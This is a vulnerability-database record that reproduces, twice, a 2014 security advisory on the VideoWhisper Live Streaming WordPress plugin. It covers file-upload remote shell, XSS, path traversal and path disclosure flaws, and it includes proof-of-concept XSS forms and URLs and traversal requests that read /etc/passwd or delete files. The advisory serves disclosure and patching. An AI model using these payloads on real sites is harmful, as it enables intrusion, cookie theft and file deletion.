demonstrates exploitation of the vulnerability:\r\n\r\nAfter successful exploitation the remote shell will be accessible via the following URL:\r\n\r\nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration\r\n/ls/snapshots/1.php.jpg\r\n\r\nSuccessful exploitation of this vulnerability requires that the webserver is not configured to handle the mime-type for media files with .jpg extension.\r\n\r\n2) Cross-Site Scripting (XSS) in VideoWhisper Live Streaming Integration: CVE-2014-1906\r\n\r\n2.1 The vulnerability exists due to insufficient filtration of \"m\" HTTP POST parameter in \"/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_statu\r\ns.php\" script. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and permanently inject and execute arbitrary html and script code in browser in context of the vulnerable website when user visits a page with enabled plugin\u00e2??s widget. The script will be also executed in administrative section on the following page:\r\n\r\nhttp://[host]/wp-admin/options-general.php?page=videowhisper_streaming.p\r\nhp&tab=live\r\n\r\nThe exploitation examples below use the \"alert()\" JavaScript function to display \"immuniweb\" word:\r\n\r\n<body onLoad=\"document.hack.submit()\">\r\n<form name=\"hack\" action=\"http://[host]/wp-content/plugins/videowhisper-live-streaming-int\r\negration/ls/lb_status.php\" method=\"post\">\r\n<input type=\"hidden\" name=\"s\" value=\"1\">\r\n<input type=\"hidden\" name=\"u\" value=\"1\">\r\n<input type=\"hidden\" name=\"r\" value=\"1\">\r\n<input type=\"hidden\" name=\"m\" value=\"<script>alert('immuniweb')</script>\">\r\n</form>\r\n</body>\r\n\r\n2.2 The vulnerability exists due to insufficient filtration of \"msg\" HTTP POST parameter in \"/wp-content/plugins/videowhisper-live-streaming-integration/ls/vc_chatl\r\nog.php\" script. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and permanently inject and execute arbitrary html and script code in browser in context of the vulnerable website when user visits the affected page.\r\n\r\nThe exploitation examples below use the \"alert()\" JavaScript function to display \"immuniweb\" word:\r\n\r\n<body onLoad=\"document.hack.submit()\">\r\n<form name=\"hack\" action=\"http://[host]/wp-content/plugins/videowhisper-live-streaming-int\r\negration/ls/vc_chatlog.php\" method=\"post\">\r\n<input type=\"hidden\" name=\"msg\" value=\"<script>alert('immuniweb')</script>\">\r\n<input type=\"hidden\" name=\"r\" value=\"1\">\r\n</form>\r\n</body>\r\n\r\nThe code will be executed when the user visits the following URL:\r\n\r\nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration\r\n/ls/uploads/[room]/Log[date].html\r\n\r\nWhere [room] is set by HTTP POST parameter r and [date] is the current date.\r\n\r\n2.3 The vulnerabilities exist due to insufficient filtration of \"n\" HTTP GET parameter passed to scripts \"channel.php\", \"htmlchat.php\", \"video.php\" and \"videotext.php\" within the \"/wp-content/plugins/videowhisper-live-streaming-integration/ls/\" directory. A remote attacker can send a specially crafted HTTP GET request to vulnerable scripts and execute arbitrary HTML and script code in browser in context of the vulnerable website.\r\n\r\nThe exploitation examples below use the \"alert()\" JavaScript function to display \"immuniweb\" word:\r\n\r\nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration\r\n/ls/channel.php?n=%3C/title%3E%3Cscript%3Ealert('immuniweb')%3C/script%3\r\nE\r\n\r\nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration\r\n/ls/htmlchat.php?n=%3C/title%3E%3Cscript%3Ealert('immuniweb')%3C/script%\r\n3E\r\n\r\nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration\r\n/ls/video.php?n=%3C/title%3E%3Cscript%3Ealert('immuniweb')%3C/script%3E\r\n\r\nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration\r\n/ls/videotext.php?n=%3C/title%3E%3Cscript%3Ealert(document.cookie)%3C/sc\r\nript%3E\r\n\r\n2.4 The vulnerability exists due to insufficient filtration of \"message\" HTTP GET parameter passed to \"/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_logou\r\nt.php\" script. A remote attacker can trick a user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.\r\n\r\nThe exploitation example below uses the \"alert()\" JavaScript function to display \"immuniweb\" word:\r\n\r\nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration\r\n/ls/lb_logout.php?message=%3C/title%3E%3Cscript%3Ealert('immuniweb')%3C/\r\nscript%3E\r\n\r\n2.5 The vulnerability exists due to insufficient filtration of \"ct\" HTTP POST parameter passed to \"/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_statu\r\ns.php\" script. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.\r\n\r\nThe exploitation example below uses the \"alert()\" JavaScript function to display \"immuniweb\" word:\r\n\r\n<body onLoad=\"document.hack.submit()\">\r\n<form name=\"hack\" action=\"http://[host]/wp-content/plugins/videowhisper-live-streaming-int\r\negration/ls/lb_status.php\" method=\"post\">\r\n<input type=\"hidden\" name=\"s\" value=\"1\">\r\n<input type=\"hidden\" name=\"r\" value=\"1\">\r\n<input type=\"hidden\" name=\"ct\" value=\"<script>alert('immuniweb')</script>\">\r\n</form>\r\n</body>\r\n\r\n2.6 The vulnerability exists due to insufficient filtration of \"ct\" HTTP POST parameter passed to \"/wp-content/plugins/videowhisper-live-streaming-integration/ls/v_status\r\n.php\" script. A remote attacker can trick a user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.\r\n\r\nThe exploitation example below uses the \"alert()\" JavaScript function to display \"immuniweb\" word:\r\n\r\n<body onLoad=\"document.hack.submit()\">\r\n<form name=\"hack\" action=\"http://[host]/wp-content/plugins/videowhisper-live-streaming-int\r\negration/ls/v_status.php\" method=\"post\">\r\n<input type=\"hidden\" name=\"s\" value=\"1\">\r\n<input type=\"hidden\" name=\"r\" value=\"1\">\r\n<input type=\"hidden\" name=\"ct\" value=\"<script>alert('immuniweb')</script>\">\r\n</form>\r\n</body>\r\n\r\n3) Path Traversal in VideoWhisper Live Streaming Integration: CVE-2014-1907\r\n\r\n3.1 The vulnerability exists due to insufficient filtration of \"s\" HTTP GET parameter in \"/wp-content/plugins/videowhisper-live-streaming-integration/ls/rtmp_log\r\nin.php\" script. A remote attacker can view contents of arbitrary files on the target system using directory traversal sequences.\r\n\r\nThe exploitation example below displays contents of \"/etc/passwd\" file:\r\n\r\nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration\r\n/ls/rtmp_login.php?s=../../../../../../etc/passwd\r\n\r\n3.2 The vulnerability exists due to insufficient filtration of \"s\" HTTP GET parameter in \"/wp-content/plugins/videowhisper-live-streaming-integration/ls/rtmp_log\r\nout.php\" script. A remote attacker can delete arbitrary files on the target system using directory traversal sequences.\r\n\r\nThe exploitation example below deletes a file \"/tmp/immuniweb\":\r\n\r\nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration\r\n/ls/rtmp_logout.php?s=../../../../../../../../tmp/immuniweb\r\n\r\nSuccessful exploitation of this vulnerability requires that file \"/tmp/immuniweb\" exists on the system.\r\n\r\n4) Information Exposure Through Externally-generated Error Message in VideoWhisper Live Streaming Integration: CVE-2014-1908\r\n\r\n4.1 The vulnerability exists due to improper implementation of error handling mechanisms in multiple scripts. A remote attacker can send a specially crafted HTTP GET request to vulnerable scripts and gain knowledge of full installation path of the application.\r\n\r\nThe following URL can be used to gain knowledge of full installation path of the application:\r\n\r\nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration\r\n/bp.php\r\n\r\nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration\r\n/videowhisper_streaming.php\r\n\r\nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration\r\n/ls/rtmp.inc.php\r\n\r\n------------------------------------------------------------------------\r\n-----------------------\r\n\r\nSolution:\r\n\r\nUpdate to VideoWhisper Live Streaming Integration version 4.29.5\r\n\r\n------------------------------------------------------------------------\r\n-----------------------\r\n\r\nReferences:\r\n\r\n[1] High-Tech Bridge Advisory HTB23089 - https://www.htbridge.com/advisory/HTB23089 - Multiple Vulnerabilities in VideoWhisper Live Streaming Integration Plugin for WordPress.\r\n[2] VideoWhisper Live Streaming Integration - http://wordpress.org/plugins/videowhisper-live-streaming-integration/ - The VideoWhisper Live Streaming software can easily be used to add video broadcasting features to WordPress sites and live video streams on blog pages.\r\n[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE\u00c2\u00ae is a dictionary of publicly known information security vulnerabilities and exposures.\r\n[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.\r\n[5] ImmuniWeb\u00c2\u00ae - http://www.htbridge.com/immuniweb/ - is High-Tech Bridge's proprietary web application security assessment solution with SaaS delivery model that combines manual and automated vulnerability testing.\r\n\r\n------------------------------------------------------------------------\r\n-----------------------\r\n\r\nDisclaimer: The information provided in this Advisory is provided \"as is\" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/31986/"}], "wpvulndb": [{"lastseen": "2019-08-23T13:39:42", "bulletinFamily": "software", "description": "WordPress Vulnerability - VideoWhisper Live Streaming Integration 4.27.3 - Multiple Vulnerabilities\n", "modified": "2019-08-23T00:00:00", "published": "2014-08-01T00:00:00", "id": "WPVDB-ID:6175", "href": "https://wpvulndb.com/vulnerabilities/6175", "type": "wpvulndb", "title": "VideoWhisper Live Streaming Integration 4.27.3 - Multiple Vulnerabilities", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "securityvulns": [{"lastseen": "2018-08-31T11:10:52", "bulletinFamily": "software", "description": "\r\n\r\nAdvisory ID: HTB23199\r\nProduct: VideoWhisper Live Streaming Integration\r\nVendor: VideoWhisper\r\nVulnerable Version(s): 4.27.3 and probably prior\r\nTested Version: 4.27.3\r\nAdvisory Publication: February 6, 2014 [without technical details]\r\nVendor Notification: February 6, 2014 \r\nVendor Patch: February 7, 2014 \r\nPublic Disclosure: February 27, 2014 \r\nVulnerability Type: Unrestricted Upload of File with Dangerous Type [CWE-434], Cross-Site Scripting [CWE-79], Path Traversal [CWE-22], Information Exposure Through Externally-Generated Error Message [CWE-211]\r\nCVE References: CVE-2014-1905, CVE-2014-1906, CVE-2014-1907, CVE-2014-1908\r\nRisk Level: Critical \r\nCVSSv2 Base Scores: 9.3 (AV:N/AC:M/Au:N/C:C/I:C/A:C), 5 (AV:N/AC:L/Au:N/C:N/I:P/A:N), 5 (AV:N/AC:L/Au:N/C:P/I:N/A:N), 5 (AV:N/AC:L/Au:N/C:P/I:N/A:N)\r\nSolution Status: Fixed by Vendor\r\nDiscovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) \r\n\r\n-----------------------------------------------------------------------------------------------\r\n\r\nAdvisory Details:\r\n\r\nHigh-Tech Bridge Security Research Lab discovered multiple vulnerabilities in VideoWhisper Live Streaming Integration, which can be exploited to execute arbitrary code on the target system, gain access to potentially sensitive data, perform Cross-Site Scripting (XSS) attacks against users of vulnerable application and delete arbitrary files.\r\n\r\n\r\n1) Arbitrary File Upload in VideoWhisper Live Streaming Integration: CVE-2014-1905\r\n\r\nVideoWhisper Live Streaming Integration does not properly verify malicious file extensions before uploading files to the server in "/wp-content/plugins/videowhisper-live-streaming-integration/ls/vw_snapshots.php". A remote attacker can upload and execute arbitrary PHP file on the target system. \r\n\r\nThe following PoC code demonstrates exploitation of the vulnerability:\r\n\r\nAfter successful exploitation the remote shell will be accessible via the following URL:\r\n\r\nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/snapshots/1.php.jpg\r\n\r\nSuccessful exploitation of this vulnerability requires that the webserver is not configured to handle the mime-type for media files with .jpg extension.\r\n\r\n\r\n2) Cross-Site Scripting (XSS) in VideoWhisper Live Streaming Integration: CVE-2014-1906\r\n\r\n2.1 The vulnerability exists due to insufficient filtration of "m" HTTP POST parameter in "/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_status.php" script. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and permanently inject and execute arbitrary html and script code in browser in context of the vulnerable website when user visits a page with enabled plugin\u2019s widget. The script will be also executed in administrative section on the following page: \r\n\r\nhttp://[host]/wp-admin/options-general.php?page=videowhisper_streaming.php&tab=live\r\n\r\nThe exploitation examples below use the "alert()" JavaScript function to display "immuniweb" word:\r\n\r\n<body onLoad="document.hack.submit()">\r\n<form name="hack" action="http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_status.php" method="post">\r\n<input type="hidden" name="s" value="1">\r\n<input type="hidden" name="u" value="1">\r\n<input type="hidden" name="r" value="1">\r\n<input type="hidden" name="m" value="<script>alert('immuniweb')</script>">\r\n</form>\r\n</body>\r\n \r\n2.2 The vulnerability exists due to insufficient filtration of "msg" HTTP POST parameter in "/wp-content/plugins/videowhisper-live-streaming-integration/ls/vc_chatlog.php" script. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and permanently inject and execute arbitrary html and script code in browser in context of the vulnerable website when user visits the affected page. \r\n\r\nThe exploitation examples below use the "alert()" JavaScript function to display "immuniweb" word:\r\n\r\n<body onLoad="document.hack.submit()">\r\n<form name="hack" action="http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/vc_chatlog.php" method="post">\r\n<input type="hidden" name="msg" value="<script>alert('immuniweb')</script>">\r\n<input type="hidden" name="r" value="1">\r\n</form>\r\n</body>\r\n\r\nThe code will be executed when the user visits the following URL:\r\n\r\nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/uploads/[room]/Log[date].html \r\n\r\nWhere [room] is set by HTTP POST parameter r and [date] is the current date.\r\n \r\n2.3 The vulnerabilities exist due to insufficient filtration of "n" HTTP GET parameter passed to scripts "channel.php", "htmlchat.php", "video.php" and "videotext.php" within the "/wp-content/plugins/videowhisper-live-streaming-integration/ls/" directory. A remote attacker can send a specially crafted HTTP GET request to vulnerable scripts and execute arbitrary HTML and script code in browser in context of the vulnerable website.\r\n\r\nThe exploitation examples below use the "alert()" JavaScript function to display "immuniweb" word:\r\n\r\nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/channel.php?n=%3C/title%3E%3Cscript%3Ealert('immuniweb')%3C/script%3E\r\n\r\nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/htmlchat.php?n=%3C/title%3E%3Cscript%3Ealert('immuniweb')%3C/script%3E\r\n\r\nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/video.php?n=%3C/title%3E%3Cscript%3Ealert('immuniweb')%3C/script%3E\r\n\r\nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/videotext.php?n=%3C/title%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E\r\n\r\n2.4 The vulnerability exists due to insufficient filtration of "message" HTTP GET parameter passed to "/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_logout.php" script. A remote attacker can trick a user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.\r\n\r\nThe exploitation example below uses the "alert()" JavaScript function to display "immuniweb" word:\r\n\r\nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_logout.php?message=%3C/title%3E%3Cscript%3Ealert('immuniweb')%3C/script%3E\r\n\r\n2.5 The vulnerability exists due to insufficient filtration of "ct" HTTP POST parameter passed to "/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_status.php" script. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.\r\n\r\nThe exploitation example below uses the "alert()" JavaScript function to display "immuniweb" word:\r\n\r\n<body onLoad="document.hack.submit()">\r\n<form name="hack" action="http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_status.php" method="post">\r\n<input type="hidden" name="s" value="1">\r\n<input type="hidden" name="r" value="1">\r\n<input type="hidden" name="ct" value="<script>alert('immuniweb')</script>">\r\n</form>\r\n</body>\r\n\r\n2.6 The vulnerability exists due to insufficient filtration of "ct" HTTP POST parameter passed to "/wp-content/plugins/videowhisper-live-streaming-integration/ls/v_status.php" script. A remote attacker can trick a user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.\r\n\r\nThe exploitation example below uses the "alert()" JavaScript function to display "immuniweb" word:\r\n \r\n<body onLoad="document.hack.submit()">\r\n<form name="hack" action="http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/v_status.php" method="post">\r\n<input type="hidden" name="s" value="1">\r\n<input type="hidden" name="r" value="1">\r\n<input type="hidden" name="ct" value="<script>alert('immuniweb')</script>">\r\n</form>\r\n</body>\r\n\r\n\r\n3) Path Traversal in VideoWhisper Live Streaming Integration: CVE-2014-1907\r\n \r\n3.1 The vulnerability exists due to insufficient filtration of "s" HTTP GET parameter in "/wp-content/plugins/videowhisper-live-streaming-integration/ls/rtmp_login.php" script. A remote attacker can view contents of arbitrary files on the target system using directory traversal sequences.\r\n\r\nThe exploitation example below displays contents of "/etc/passwd" file:\r\n\r\nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/rtmp_login.php?s=../../../../../../etc/passwd\r\n\r\n3.2 The vulnerability exists due to insufficient filtration of "s" HTTP GET parameter in "/wp-content/plugins/videowhisper-live-streaming-integration/ls/rtmp_logout.php" script. A remote attacker can delete arbitrary files on the target system using directory traversal sequences.\r\n\r\nThe exploitation example below deletes a file "/tmp/immuniweb":\r\n\r\nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/rtmp_logout.php?s=../../../../../../../../tmp/immuniweb\r\n\r\nSuccessful exploitation of this vulnerability requires that file "/tmp/immuniweb" exists on the system.\r\n\r\n\r\n4) Information Exposure Through Externally-generated Error Message in VideoWhisper Live Streaming Integration: CVE-2014-1908\r\n\r\n4.1 The vulnerability exists due to improper implementation of error handling mechanisms in multiple scripts. A remote attacker can send a specially crafted HTTP GET request to vulnerable scripts and gain knowledge of full installation path of the application. \r\n\r\nThe following URL can be used to gain knowledge of full installation path of the application:\r\n\r\nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration/bp.php\r\n\r\nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration/videowhisper_streaming.php\r\n\r\nhttp://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/rtmp.inc.php\r\n\r\n\r\n-----------------------------------------------------------------------------------------------\r\n\r\nSolution:\r\n\r\nUpdate to VideoWhisper Live Streaming Integration version 4.29.5\r\n\r\n-----------------------------------------------------------------------------------------------\r\n\r\nReferences:\r\n\r\n[1] High-Tech Bridge Advisory HTB23089 - https://www.htbridge.com/advisory/HTB23089 - Multiple Vulnerabilities in VideoWhisper Live Streaming Integration Plugin for WordPress.\r\n[2] VideoWhisper Live Streaming Integration - http://wordpress.org/plugins/videowhisper-live-streaming-integration/ - The VideoWhisper Live Streaming software can easily be used to add video broadcasting features to WordPress sites and live video streams on blog pages.\r\n[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE\u00ae is a dictionary of publicly known information security vulnerabilities and exposures.\r\n[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.\r\n[5] ImmuniWeb\u00ae - http://www.htbridge.com/immuniweb/ - is High-Tech Bridge's proprietary web application security assessment solution with SaaS delivery model that combines manual and automated vulnerability testing.\r\n\r\n-----------------------------------------------------------------------------------------------\r\n\r\nDisclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.\r\n\r\n", "modified": "2014-05-04T00:00:00", "published": "2014-05-04T00:00:00", "id": "SECURITYVULNS:DOC:30589", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:30589", "title": "Multiple Vulnerabilities in VideoWhisper Live Streaming Integration WP Plugin", "type": "securityvulns", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-08-31T11:09:55", "bulletinFamily": "software", "description": "PHP inclusions, SQL injections, directory traversals, crossite scripting, information leaks, etc.", "modified": "2014-05-04T00:00:00", "published": "2014-05-04T00:00:00", "id": "SECURITYVULNS:VULN:13714", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:13714", "title": "Web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)", "type": "securityvulns", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}]}
